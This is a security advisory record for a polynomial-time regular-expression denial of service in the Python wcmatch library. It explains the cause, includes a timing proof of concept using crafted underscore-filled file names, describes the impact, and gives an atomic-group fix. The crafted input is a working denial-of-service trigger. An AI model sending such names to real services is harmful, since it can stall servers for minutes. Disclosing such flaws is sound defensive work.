{"id":"GHSA-53pm-wgxf-c6qf","summary":"wcmatch: Polynomial-time ReDoS when matching untrusted names against multi-star patterns (default flags)","details":"# Summary\n\nWith default flags, a pattern that contains several `*` wildcards takes polynomial time, O(n^k) for k stars, to reject a crafted file name. The pattern is an ordinary developer constant such as `*_*_*_*_*.csv`; only the string being matched comes from the attacker. A 255-byte file name (the maximum on common filesystems) takes 73 s with `fnmatch.fnmatch()` and 86 s with `glob.globmatch()`. The standard library's `fnmatch` handles the same input in under a millisecond.\n\nThis is different from GHSA-84v8-qmgq-9g88: that advisory covers extglob patterns, while this case needs no flags and no attacker-controlled pattern.\n\n# Details\n\nEvery `*` is translated to a lazy `.*?` (`_STAR`, `wcmatch/_wcparse.py:212`; `_PATH_STAR` `[^/]*?`, `:218`), which is emitted in `_handle_star` (`:1405-1424`):\n\n```text\n*_*_*_*_*.csv  -\u003e  ^(?s:(?=.)(?![.]).*?_.*?_.*?_.*?_.*?\\.csv)$\n```\n\nWhen the subject consists of many `_` and does not end in `.csv`, the regex engine tries every way of splitting it between the stars. CPython fixed the same problem in its own `fnmatch` (bpo-40480) by making every star segment except the last one atomic.\n\n# PoC\n\n```python\nimport time, fnmatch as std\nfrom wcmatch import fnmatch, glob\n\nfor pat, n in [('*_*_*_*.csv', 255), ('*_*_*_*.csv', 400), ('*_*_*_*_*.csv', 150),\n               ('*_*_*_*_*.csv', 200), ('*_*_*_*_*.csv', 255)]:\n    name = '_' * n\n    t = time.perf_counter(); fnmatch.fnmatch(name, pat); w = time.perf_counter() - t\n    t = time.perf_counter(); std.fnmatchcase(name, pat); s = time.perf_counter() - t\n    print(f'{pat:15} len={n}  wcmatch={w:.3f}s  stdlib={s:.5f}s')\n\nt = time.perf_counter(); glob.globmatch('uploads/' + '_' * 255, 'uploads/*_*_*_*_*.csv')\nprint(f'globmatch {time.perf_counter() - t:.2f}s')\n```\n\nwcmatch 11.1, CPython 3.13, macOS:\n\n```text\n*_*_*_*.csv     len=255  wcmatch=1.412s   stdlib=0.00001s\n*_*_*_*.csv     len=400  wcmatch=8.599s   stdlib=0.00004s\n*_*_*_*_*.csv   len=150  wcmatch=5.333s   stdlib=0.00003s\n*_*_*_*_*.csv   len=200  wcmatch=22.415s  stdlib=0.00007s\n*_*_*_*_*.csv   len=255  wcmatch=72.732s  stdlib=0.00047s\nglobmatch 85.75s\n```\n\n`glob.glob('*_*_*_*.csv', root_dir=d)` on a real directory that contains one file named `'_' * 255` takes 1.7 s.\n\n# Impact\n\nApplications that match untrusted names against multi-star patterns can be blocked on a single CPU core for minutes per name. Examples: upload handlers, archive or object-store key filters, and `glob`/`WcMatch` scans of directories where other users can create files. No authentication is needed.\n\n# Fix\n\nEmit every star segment except the last one as an atomic group, as the standard library does. On Python 3.11 and later use `(?\u003e.*?_)`; on 3.10 use the lookahead/backreference form from `fnmatch._join_translated_parts`. For example:\n\n```text\n^(?s:(?=.)(?![.])(?\u003e.*?_)(?\u003e.*?_)(?\u003e.*?_)(?\u003e.*?_).*?\\.csv)$\n```\n\nThis rejects the 255-byte name in under 1 ms. On my spot-check inputs it gives the same results as the current regex. The same change applies to `_PATH_STAR`.","aliases":["CVE-2026-132276"],"modified":"2026-11-21T00:00:04.019297357Z","published":"2026-11-20T23:49:18Z","database_specific":{"severity":"MODERATE","github_reviewed":true,"github_reviewed_at":"2026-11-20T23:49:18Z","nvd_published_at":"2026-11-20T17:18:12Z","cwe_ids":["CWE-1333"]},"references":[{"type":"WEB","url":"https://github.com/facelessuser/wcmatch/security/advisories/GHSA-53pm-wgxf-c6qf"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-132276"},{"type":"WEB","url":"https://github.com/facelessuser/wcmatch/commit/83491aadde57780330f993620083e979f645c80c"},{"type":"PACKAGE","url":"https://github.com/facelessuser/wcmatch"},{"type":"WEB","url":"https://github.com/facelessuser/wcmatch/releases/tag/11.2"}],"affected":[{"package":{"name":"wcmatch","ecosystem":"PyPI","purl":"pkg:pypi/wcmatch"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"11.2"}]}],"versions":["1.0","1.0.1","1.0.2","10.0","10.1","10.2","10.2.1","11.0","11.0.1","11.1","2.0","2.0.1","2.0.2","2.0.3","2.1","2.2","2.2.1","3.0","3.0.1","3.0.2","4.0","4.0.1","4.1","4.2","4.3","4.3.1","5.0","5.0.1","5.0.2","5.0.3","5.1","6.0","6.0.1","6.0.2","6.0.3","6.1","7.0","7.0.1","7.1","7.2","8.0","8.0.1","8.1","8.1.1","8.1.2","8.2","8.3","8.4","8.4.1","8.5","8.5.1","8.5.2","9.0"],"database_specific":{"last_known_affected_version_range":"\u003c= 11.1","source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/11/GHSA-53pm-wgxf-c6qf/GHSA-53pm-wgxf-c6qf.json"}}],"schema_version":"1.9.2","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H"}]}